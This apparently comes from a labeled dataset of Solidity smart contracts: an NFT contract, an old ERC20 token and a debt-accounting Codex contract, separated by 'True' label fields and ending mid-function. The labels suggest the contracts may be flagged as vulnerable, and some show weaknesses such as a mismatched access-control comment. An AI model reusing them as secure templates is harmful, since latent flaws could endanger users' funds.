* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File: contracts/DivinityCellNFT.sol
pragma solidity ^0.8.0;
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title Divinity Cell DivinityCellNFT Contract
* @author Apriorit
*/
contract DivinityCellNFT is ERC721, Ownable {
using SafeMath for uint256;
using Counters for Counters.Counter;
string base_url;
address burner;
address _minter;
address proxyRegistryAddress;
Counters.Counter _nextTokenId;
/**
* @notice Ensures that sender has burn rights
*/
modifier onlyBurner {
require(msg.sender == burner, "DivinityCellNFT: Sender must have burner role");
_;
}
/**
* @notice Ensures that sender has mint rights
*/
modifier onlyMinter {
require(msg.sender == _minter, "DivinityCellNFT: Sender is not auction");
_;
}
/**
* @param _name Token name
* @param _symbol Token syumbol
* @param token_url Token base URI
* @param _proxyRegistryAddress OpenSea existring proxy registry. On Mainnet it is 0xa5409ec958c83c3f309868babaca7c86dcb077c1
*/
constructor(
string memory _name,
string memory _symbol,
string memory token_url,
address _proxyRegistryAddress
) ERC721(_name, _symbol) {
base_url = token_url;
proxyRegistryAddress = _proxyRegistryAddress;
}
/**
* @notice Check if account is owner of tokenId
* @param account The address of account that we want to check
* @param tokenId ID that we are checking
* @return Whether or not the account is owner of tokenId
*/
function isTokenOwner(uint256 tokenId, address account) external view returns(bool) {
return ERC721.ownerOf(tokenId) == account;
}
/**
* @notice Mint token for recipient. Can be called only by _minter
* @param recipient The address of account that will recieve token
* @return Minted token ID
*/
function mintTo(address recipient) external onlyMinter returns(uint256) {
uint256 currentTokenId = _nextTokenId.current();
_nextTokenId.increment();
_safeMint(recipient, currentTokenId);
return currentTokenId;
}
/**
* @notice Mint count tokens for account. Can be called only by contract owner
* @param account The address of account that will recieve tokens
* @param count Count of tokens to mint
* @return Whether or not the transaction succeeded
*/
function premint(address account, uint256 count) external onlyMinter returns(bool) {
uint256 currentTokenId = _nextTokenId.current();
ERC721._mint_many(account, currentTokenId, count);
_nextTokenId._value += count;
return true;
}
/**
* @notice Set new _minter. Only owner can call this. Can be called only by contract owner
* @param minter The address of new minter
* @return Whether or not the transaction succeeded
*/
function registerMinterContract(address minter) external onlyOwner returns(bool){
_minter = minter;
return true;
}
/**
* @notice Get current last token ID + 1.(total amount)
* @return Current amount of tokens
*/
function totalSupply() external view returns (uint256) {
return _nextTokenId.current();
}
/**
* @notice Set new token URI. Can be called only by contract owner
* @param baseUrl New token URL
* @return Whether or not the transaction succeeded
*/
function setURI(string memory baseUrl) external onlyOwner returns (bool) {
base_url = baseUrl;
return true;
}
/**
* @notice Get token URI
* @return Current token URI
*/
function URI() public view returns (string memory) {
return base_url;
}
/**
* @notice Get _tokenId URI
* @param _tokenId Token for which we want to get URI
* @return Token URI
*/
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
return string(abi.encodePacked(URI(), Strings.toString(_tokenId)));
}
/**
* @notice Set new token burner. Can be called only by contract owner
* @param newBurner New burner account
* @return Whether or not the transaction succeeded
*/
function setBurner(address newBurner) external onlyOwner returns(bool) {
burner = newBurner;
return true;
}
/**
* @notice Set new token burner. Can be called only by contract burner
* @param tokenId Token to be burned
* @return Whether or not the transaction succeeded
*/
function burn(uint256 tokenId) external onlyBurner returns(bool) {
_burn(tokenId);
return true;
}
/**
* @notice Checks if token with given id exists
* @param tokenId Checked token
* @return Whether or not the token exists
*/
function exists(uint256 tokenId) external view returns(bool) {
return ERC721._exists(tokenId);
}
/**
* @notice Checks if operator can perform actions for owner
* @param owner Tokens owner
* @param operator Account that want perform actions for owner
* @return Whether or not the transaction succeeded
*/
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
} | True | [
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] |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract InitialPointUnit is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function InitialPointUnit() public {
symbol = "IPU";
name = "Initial Point Unit";
decimals = 10;
_totalSupply = 3200000000000000000;
balances[0x0E25BA055c46200abd5E9d57e58F39cCf96B9857] = _totalSupply;
Transfer(address(0), 0x0E25BA055c46200abd5E9d57e58F39cCf96B9857, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.4;
interface ICodex {
function init(address vault) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(
address,
bytes32,
uint256
) external;
function credit(address) external view returns (uint256);
function unbackedDebt(address) external view returns (uint256);
function balances(
address,
uint256,
address
) external view returns (uint256);
function vaults(address vault)
external
view
returns (
uint256 totalNormalDebt,
uint256 rate,
uint256 debtCeiling,
uint256 debtFloor
);
function positions(
address vault,
uint256 tokenId,
address position
) external view returns (uint256 collateral, uint256 normalDebt);
function globalDebt() external view returns (uint256);
function globalUnbackedDebt() external view returns (uint256);
function globalDebtCeiling() external view returns (uint256);
function delegates(address, address) external view returns (uint256);
function grantDelegate(address) external;
function revokeDelegate(address) external;
function modifyBalance(
address,
uint256,
address,
int256
) external;
function transferBalance(
address vault,
uint256 tokenId,
address src,
address dst,
uint256 amount
) external;
function transferCredit(
address src,
address dst,
uint256 amount
) external;
function modifyCollateralAndDebt(
address vault,
uint256 tokenId,
address user,
address collateralizer,
address debtor,
int256 deltaCollateral,
int256 deltaNormalDebt
) external;
function transferCollateralAndDebt(
address vault,
uint256 tokenId,
address src,
address dst,
int256 deltaCollateral,
int256 deltaNormalDebt
) external;
function confiscateCollateralAndDebt(
address vault,
uint256 tokenId,
address user,
address collateralizer,
address debtor,
int256 deltaCollateral,
int256 deltaNormalDebt
) external;
function settleUnbackedDebt(uint256 debt) external;
function createUnbackedDebt(
address debtor,
address creditor,
uint256 debt
) external;
function modifyRate(
address vault,
address creditor,
int256 rate
) external;
function lock() external;
}
interface IPriceFeed {
function peek() external returns (bytes32, bool);
function read() external view returns (bytes32);
}
interface ICollybus {
function vaults(address) external view returns (uint128, uint128);
function spots(address) external view returns (uint256);
function rates(uint256) external view returns (uint256);
function rateIds(address, uint256) external view returns (uint256);
function redemptionPrice() external view returns (uint256);
function live() external view returns (uint256);
function setParam(bytes32 param, uint256 data) external;
function setParam(
address vault,
bytes32 param,
uint128 data
) external;
function setParam(
address vault,
uint256 tokenId,
bytes32 param,
uint256 data
) external;
function updateDiscountRate(uint256 rateId, uint256 rate) external;
function updateSpot(address token, uint256 spot) external;
function read(
address vault,
address underlier,
uint256 tokenId,
uint256 maturity,
bool net
) external view returns (uint256 price);
function lock() external;
}
interface IVault {
function codex() external view returns (ICodex);
function collybus() external view returns (ICollybus);
function token() external view returns (address);
function tokenScale() external view returns (uint256);
function underlierToken() external view returns (address);
function underlierScale() external view returns (uint256);
function vaultType() external view returns (bytes32);
function live() external view returns (uint256);
function lock() external;
function setParam(bytes32 param, address data) external;
function maturity(uint256 tokenId) external returns (uint256);
function fairPrice(
uint256 tokenId,
bool net,
bool face
) external view returns (uint256);
function enter(
uint256 tokenId,
address user,
uint256 amount
) external;
function exit(
uint256 tokenId,
address user,
uint256 amount
) external;
}interface IGuarded {
function ANY_SIG() external view returns (bytes32);
function ANY_CALLER() external view returns (address);
function allowCaller(bytes32 sig, address who) external;
function blockCaller(bytes32 sig, address who) external;
function canCall(bytes32 sig, address who) external view returns (bool);
}
// Copyright (C) 2018 Rain <[email protected]>
/// @title Guarded
/// @notice Mixin implementing an authentication scheme on a method level
abstract contract Guarded is IGuarded {
/// ======== Custom Errors ======== ///
error Guarded__notRoot();
error Guarded__notGranted();
/// ======== Storage ======== ///
/// @notice Wildcard for granting a caller to call every guarded method
bytes32 public constant override ANY_SIG = keccak256("ANY_SIG");
/// @notice Wildcard for granting a caller to call every guarded method
address public constant override ANY_CALLER = address(uint160(uint256(bytes32(keccak256("ANY_CALLER")))));
/// @notice Mapping storing who is granted to which method
/// @dev Method Signature => Caller => Bool
mapping(bytes32 => mapping(address => bool)) private _canCall;
/// ======== Events ======== ///
event AllowCaller(bytes32 sig, address who);
event BlockCaller(bytes32 sig, address who);
constructor() {
// set root
_setRoot(msg.sender);
}
/// ======== Auth ======== ///
modifier callerIsRoot() {
if (_canCall[ANY_SIG][msg.sender]) {
_;
} else revert Guarded__notRoot();
}
modifier checkCaller() {
if (canCall(msg.sig, msg.sender)) {
_;
} else revert Guarded__notGranted();
}
/// @notice Grant the right to call method `sig` to `who`
/// @dev Only the root user (granted `ANY_SIG`) is able to call this method
/// @param sig Method signature (4Byte)
/// @param who Address of who should be able to call `sig`
function allowCaller(bytes32 sig, address who) public override callerIsRoot {
_canCall[sig][who] = true;
emit AllowCaller(sig, who);
}
/// @notice Revoke the right to call method `sig` from `who`
/// @dev Only the root user (granted `ANY_SIG`) is able to call this method
/// @param sig Method signature (4Byte)
/// @param who Address of who should not be able to call `sig` anymore
function blockCaller(bytes32 sig, address who) public override callerIsRoot {
_canCall[sig][who] = false;
emit BlockCaller(sig, who);
}
/// @notice Returns if `who` can call `sig`
/// @param sig Method signature (4Byte)
/// @param who Address of who should be able to call `sig`
function canCall(bytes32 sig, address who) public view override returns (bool) {
return (_canCall[sig][who] || _canCall[ANY_SIG][who] || _canCall[sig][ANY_CALLER]);
}
/// @notice Sets the root user (granted `ANY_SIG`)
/// @param root Address of who should be set as root
function _setRoot(address root) internal {
_canCall[ANY_SIG][root] = true;
emit AllowCaller(ANY_SIG, root);
}
/// @notice Unsets the root user (granted `ANY_SIG`)
/// @param root Address of who should be unset as root
function _unsetRoot(address root) internal {
_canCall[ANY_SIG][root] = false;
emit AllowCaller(ANY_SIG, root);
}
}// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC.
uint256 constant MLN = 10**6;
uint256 constant BLN = 10**9;
uint256 constant WAD = 10**18;
uint256 constant RAY = 10**18;
uint256 constant RAD = 10**18;
/* solhint-disable func-visibility, no-inline-assembly */
error Math__toInt256_overflow(uint256 x);
function toInt256(uint256 x) pure returns (int256) {
if (x > uint256(type(int256).max)) revert Math__toInt256_overflow(x);
return int256(x);
}
function min(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
z = x <= y ? x : y;
}
}
function max(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
z = x >= y ? x : y;
}
}
error Math__diff_overflow(uint256 x, uint256 y);
function diff(uint256 x, uint256 y) pure returns (int256 z) {
unchecked {
z = int256(x) - int256(y);
if (!(int256(x) >= 0 && int256(y) >= 0)) revert Math__diff_overflow(x, y);
}
}
error Math__add_overflow(uint256 x, uint256 y);
function add(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
if ((z = x + y) < x) revert Math__add_overflow(x, y);
}
}
error Math__add48_overflow(uint256 x, uint256 y);
function add48(uint48 x, uint48 y) pure returns (uint48 z) {
unchecked {
if ((z = x + y) < x) revert Math__add48_overflow(x, y);
}
}
error Math__add_overflow_signed(uint256 x, int256 y);
function add(uint256 x, int256 y) pure returns (uint256 z) {
unchecked {
z = x + uint256(y);
if (!(y >= 0 || z <= x)) revert Math__add_overflow_signed(x, y);
if (!(y <= 0 || z >= x)) revert Math__add_overflow_signed(x, y);
}
}
error Math__sub_overflow(uint256 x, uint256 y);
function sub(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
if ((z = x - y) > x) revert Math__sub_overflow(x, y);
}
}
error Math__sub_overflow_signed(uint256 x, int256 y);
function sub(uint256 x, int256 y) pure returns (uint256 z) {
unchecked {
z = x - uint256(y);
if (!(y <= 0 || z <= x)) revert Math__sub_overflow_signed(x, y);
if (!(y >= 0 || z >= x)) revert Math__sub_overflow_signed(x, y);
}
}
error Math__mul_overflow(uint256 x, uint256 y);
function mul(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
if (!(y == 0 || (z = x * y) / y == x)) revert Math__mul_overflow(x, y);
}
}
error Math__mul_overflow_signed(uint256 x, int256 y);
function mul(uint256 x, int256 y) pure returns (int256 z) {
unchecked {
z = int256(x) * y;
if (int256(x) < 0) revert Math__mul_overflow_signed(x, y);
if (!(y == 0 || z / y == int256(x))) revert Math__mul_overflow_signed(x, y);
}
}
function wmul(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
z = mul(x, y) / WAD;
}
}
function wmul(uint256 x, int256 y) pure returns (int256 z) {
unchecked {
z = mul(x, y) / int256(WAD);
}
}
error Math__div_overflow(uint256 x, uint256 y);
function div(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
if (y == 0) revert Math__div_overflow(x, y);
return x / y;
}
}
function wdiv(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
z = mul(x, WAD) / y;
}
}
// optimized version from dss PR #78
function wpow(
uint256 x,
uint256 n,
uint256 b
) pure returns (uint256 z) {
unchecked {
assembly {
switch n
case 0 {
z := b
}
default {
switch x
case 0 {
z := 0
}
default {
switch mod(n, 2)
case 0 {
z := b
}
default {
z := x
}
let half := div(b, 2) // for rounding.
for {
n := div(n, 2)
} n {
n := div(n, 2)
} {
let xx := mul(x, x)
if shr(128, x) {
revert(0, 0)
}
let xxRound := add(xx, half)
if lt(xxRound, xx) {
revert(0, 0)
}
x := div(xxRound, b)
if mod(n, 2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) {
revert(0, 0)
}
let zxRound := add(zx, half)
if lt(zxRound, zx) {
revert(0, 0)
}
z := div(zxRound, b)
}
}
}
}
}
}
}
/* solhint-disable func-visibility, no-inline-assembly */
/// @title Codex
/// @notice `Codex` is responsible for the accounting of collateral and debt balances
/// Uses Vat.sol from DSS (MakerDAO) / SafeEngine.sol from GEB (Reflexer Labs) as a blueprint
/// Changes from Vat.sol / SafeEngine.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
contract Codex is Guarded, ICodex {
/// ======== Custom Errors ======== ///
error Codex__init_vaultAlreadyInit();
error Codex__setParam_notLive();
error Codex__setParam_unrecognizedParam();
error Codex__transferBalance_notAllowed();
error Codex__transferCredit_notAllowed();
error Codex__modifyCollateralAndDebt_notLive();
error Codex__modifyCollateralAndDebt_vaultNotInit();
error Codex__modifyCollateralAndDebt_ceilingExceeded();
error Codex__modifyCollateralAndDebt_notSafe();
error Codex__modifyCollateralAndDebt_notAllowedSender();
error Codex__modifyCollateralAndDebt_notAllowedCollateralizer();
error Codex__modifyCollateralAndDebt_notAllowedDebtor();
error Codex__modifyCollateralAndDebt_debtFloor();
error Codex__transferCollateralAndDebt_notAllowed();
error Codex__transferCollateralAndDebt_notSafeSrc();
error Codex__transferCollateralAndDebt_notSafeDst();
error Codex__transferCollateralAndDebt_debtFloorSrc();
error Codex__transferCollateralAndDebt_debtFloorDst();
error Codex__modifyRate_notLive();
/// ======== Storage ======== ///
// Vault Data
struct Vault {
// Total Normalised Debt in Vault [wad]
uint256 totalNormalDebt;
// Vault's Accumulation Rate [wad]
uint256 rate;
// Vault's Debt Ceiling [wad]
uint256 debtCeiling;
// Debt Floor for Positions corresponding to this Vault [wad]
uint256 debtFloor;
}
// Position Data
struct Position {
// Locked Collateral in Position [wad]
uint256 collateral;
// Normalised Debt (gross debt before rate is applied) generated by Position [wad]
uint256 normalDebt;
}
/// @notice Map of delegatees who can modify collateral, debt and credit on behalf of a delegator
/// @dev Delegator => Delegatee => hasDelegate
mapping(address => mapping(address => uint256)) public override delegates;
/// @notice Vaults
/// @dev Vault => Vault Data
mapping(address => Vault) public override vaults;
/// @notice Positions
/// @dev Vault => TokenId => Owner => Position
mapping(address => mapping(uint256 => mapping(address => Position))) public override positions;
/// @notice Token balances not put up for collateral in a Position
/// @dev Vault => TokenId => Owner => Balance [wad]
mapping(address => mapping(uint256 => mapping(address => uint256))) public override balances;
/// @notice Credit balances
/// @dev Account => Credit [wad]
mapping(address => uint256) public override credit;
/// @notice Unbacked Debt balances
/// @dev Account => Unbacked Debt [wad]
mapping(address => uint256) public override unbackedDebt;
/// @notice Global Debt (incl. rate) outstanding == Credit Issued [wad]
uint256 public override globalDebt;
/// @notice Global Unbacked Debt (incl. rate) oustanding == Total Credit [wad]
uint256 public override globalUnbackedDebt;
/// @notice Global Debt Ceiling [wad]
uint256 public override globalDebtCeiling;
/// @notice Boolean indicating if this contract is live (0 - not live, 1 - live)
uint256 public live;
/// ======== Events ======== ///
event Init(address indexed vault);
event SetParam(address indexed vault, bytes32 indexed param, uint256 data);
event GrantDelegate(address indexed delegator, address indexed delegatee);
event RevokeDelegate(address indexed delegator, address indexed delegatee);
event ModifyBalance(
address indexed vault,
uint256 indexed tokenId,
address indexed user,
int256 amount,
uint256 balance
);
event TransferBalance(
address indexed vault,
uint256 indexed tokenId,
address indexed src,
address dst,
uint256 amount,
uint256 srcBalance,
uint256 dstBalance
);
event TransferCredit(
address indexed src,
address indexed dst,
uint256 amount,
uint256 srcCredit,
uint256 dstCredit
);
event ModifyCollateralAndDebt(
address indexed vault,
uint256 indexed tokenId,
address indexed user,
address collateralizer,
address creditor,
int256 deltaCollateral,
int256 deltaNormalDebt
);
event TransferCollateralAndDebt(
address indexed vault,
uint256 indexed tokenId,
address indexed src,
address dst,
int256 deltaCollateral,
int256 deltaNormalDebt
);
event ConfiscateCollateralAndDebt(
address indexed vault,
uint256 indexed tokenId,
address indexed user,
address collateralizer,
address debtor,
int256 deltaCollateral,
int256 deltaNormalDebt
);
event SettleUnbackedDebt(address indexed debtor, uint256 debt);
event CreateUnbackedDebt(address indexed debtor, address indexed creditor, uint256 debt);
event ModifyRate(address indexed vault, address indexed creditor, int256 deltaRate);
event Lock();
constructor() Guarded() {
live = 1;
}
/// ======== Configuration ======== ///
/// @notice Initializes a new Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
function init(address vault) external override checkCaller {
if (vaults[vault].rate != 0) revert Codex__init_vaultAlreadyInit();
vaults[vault].rate = WAD;
emit Init(vault);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (live == 0) revert Codex__setParam_notLive();
if (param == "globalDebtCeiling") globalDebtCeiling = data;
else revert Codex__setParam_unrecognizedParam();
emit SetParam(address(0), param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
bytes32 param,
uint256 data
) external override checkCaller {
if (live == 0) revert Codex__setParam_notLive();
if (param == "debtCeiling") vaults[vault].debtCeiling = data;
else if (param == "debtFloor") vaults[vault].debtFloor = data;
else revert Codex__setParam_unrecognizedParam();
emit SetParam(vault, param, data);
}
/// ======== Caller Delegation ======== ///
/// @notice Grants the delegatee the ability to modify collateral, debt and credit balances on behalf of the caller
/// @param delegatee Address of the delegatee
function grantDelegate(address delegatee) external override {
delegates[msg.sender][delegatee] = 1;
emit GrantDelegate(msg.sender, delegatee);
}
/// @notice Revokes the delegatee's ability to modify collateral, debt and credit balances on behalf of the caller
/// @param delegatee Address of the delegatee
function revokeDelegate(address delegatee) external override {
delegates[msg.sender][delegatee] = 0;
emit RevokeDelegate(msg.sender, delegatee);
}
/// @notice Checks the delegate
/// @param delegator Address of the delegator
/// @param delegatee Address of the delegatee
/// @return True if delegate is granted
function hasDelegate(address delegator, address delegatee) internal view returns (bool) {
return delegator == delegatee || delegates[delegator][delegatee] == 1;
}
/// ======== Credit and Token Balance Administration ======== ///
/// @notice Updates the token balance for a `user`
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param user Address of the user
/// @param amount Amount to add (positive) or subtract (negative) [wad]
function modifyBalance(
address vault,
uint256 tokenId,
address user,
int256 amount
) external override checkCaller {
balances[vault][tokenId][user] = add(balances[vault][tokenId][user], amount);
emit ModifyBalance(vault, tokenId, user, amount, balances[vault][tokenId][user]);
}
/// @notice Transfer an `amount` of tokens from `src` to `dst`
/// @dev Sender has to be delegated by `src`
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param src From address
/// @param dst To address
/// @param amount Amount to be transferred [wad]
function transferBalance(
address vault,
uint256 tokenId,
address src,
address dst,
uint256 amount
) external override {
if (!hasDelegate(src, msg.sender)) revert Codex__transferBalance_notAllowed();
balances[vault][tokenId][src] = sub(balances[vault][tokenId][src], amount);
balances[vault][tokenId][dst] = add(balances[vault][tokenId][dst], amount);
emit TransferBalance(
vault,
tokenId,
src,
dst,
amount,
balances[vault][tokenId][src],
balances[vault][tokenId][dst]
);
}
/// @notice Transfer an `amount` of Credit from `src` to `dst`
/// @dev Sender has to be delegated by `src`
/// @param src From address
/// @param dst To address
/// @param amount Amount to be transferred [wad]
function transferCredit(
address src,
address dst,
uint256 amount
) external override {
if (!hasDelegate(src, msg.sender)) revert Codex__transferCredit_notAllowed();
credit[src] = sub(credit[src], amount);
credit[dst] = add(credit[dst], amount);
emit TransferCredit(src, dst, amount, credit[src], credit[dst]);
}
/// ======== Position Administration ======== ///
/// @notice Modifies a Position's collateral and debt balances
/// @dev Checks that the global debt ceiling and the vault's debt ceiling have not been exceeded,
/// that the Position is still safe after the modification,
/// that the sender is delegated by the owner if the collateral-to-debt ratio decreased,
/// that the sender is delegated by the collateralizer if new collateral is put up,
/// that the sender is delegated by the creditor if debt is settled,
/// and that the vault debt floor is exceeded
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param user Address of the user
/// @param collateralizer Address of who puts up or receives the collateral delta
/// @param creditor Address of who provides or receives the credit delta for the debt delta
/// @param deltaCollateral Amount of collateral to put up (+) for or remove (-) from this Position [wad]
/// @param deltaNormalDebt Amount of normalized debt (gross, before rate is applied) to generate (+) or
/// settle (-) on this Position [wad]
function modifyCollateralAndDebt(
address vault,
uint256 tokenId,
address user,
address collateralizer,
address creditor,
int256 deltaCollateral,
int256 deltaNormalDebt
) external override {
// system is live
if (live == 0) revert Codex__modifyCollateralAndDebt_notLive();
Position memory p = positions[vault][tokenId][user];
Vault memory v = vaults[vault];
// vault has been initialised
if (v.rate == 0) revert Codex__modifyCollateralAndDebt_vaultNotInit();
p.collateral = add(p.collateral, deltaCollateral);
p.normalDebt = add(p.normalDebt, deltaNormalDebt);
v.totalNormalDebt = add(v.totalNormalDebt, deltaNormalDebt);
int256 deltaDebt = wmul(v.rate, deltaNormalDebt);
uint256 debt = wmul(v.rate, p.normalDebt);
globalDebt = add(globalDebt, deltaDebt);
// either debt has decreased, or debt ceilings are not exceeded
if (deltaNormalDebt > 0 && (wmul(v.totalNormalDebt, v.rate) > v.debtCeiling || globalDebt > globalDebtCeiling))
revert Codex__modifyCollateralAndDebt_ceilingExceeded();
// position is either less risky than before, or it is safe
if (
(deltaNormalDebt > 0 || deltaCollateral < 0) &&
debt > wmul(p.collateral, IVault(vault).fairPrice(tokenId, true, false))
) revert Codex__modifyCollateralAndDebt_notSafe();
// position is either more safe, or the owner consents
if ((deltaNormalDebt > 0 || deltaCollateral < 0) && !hasDelegate(user, msg.sender))
revert Codex__modifyCollateralAndDebt_notAllowedSender();
// collateralizer consents if new collateral is put up
if (deltaCollateral > 0 && !hasDelegate(collateralizer, msg.sender))
revert Codex__modifyCollateralAndDebt_notAllowedCollateralizer();
// creditor consents if debt is settled with credit
if (deltaNormalDebt < 0 && !hasDelegate(creditor, msg.sender))
revert Codex__modifyCollateralAndDebt_notAllowedDebtor();
// position has no debt, or a non-dusty amount
if (p.normalDebt != 0 && debt < v.debtFloor) revert Codex__modifyCollateralAndDebt_debtFloor();
balances[vault][tokenId][collateralizer] = sub(balances[vault][tokenId][collateralizer], deltaCollateral);
credit[creditor] = add(credit[creditor], deltaDebt);
positions[vault][tokenId][user] = p;
vaults[vault] = v;
emit ModifyCollateralAndDebt(vault, tokenId, user, collateralizer, creditor, deltaCollateral, deltaNormalDebt);
}
/// @notice Transfers a Position's collateral and debt balances to another Position
/// @dev Checks that the sender is delegated by `src` and `dst` Position owners,
/// that the `src` and `dst` Positions are still safe after the transfer,
/// and that the `src` and `dst` Positions' debt exceed the vault's debt floor
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param src Address of the `src` Positions owner
/// @param dst Address of the `dst` Positions owner
/// @param deltaCollateral Amount of collateral to send to (+) or from (-) the `src` Position [wad]
/// @param deltaNormalDebt Amount of normalized debt (gross, before rate is applied) to send to (+) or
/// from (-) the `dst` Position [wad]
function transferCollateralAndDebt(
address vault,
uint256 tokenId,
address src,
address dst,
int256 deltaCollateral,
int256 deltaNormalDebt
) external override {
Position storage pSrc = positions[vault][tokenId][src];
Position storage pDst = positions[vault][tokenId][dst];
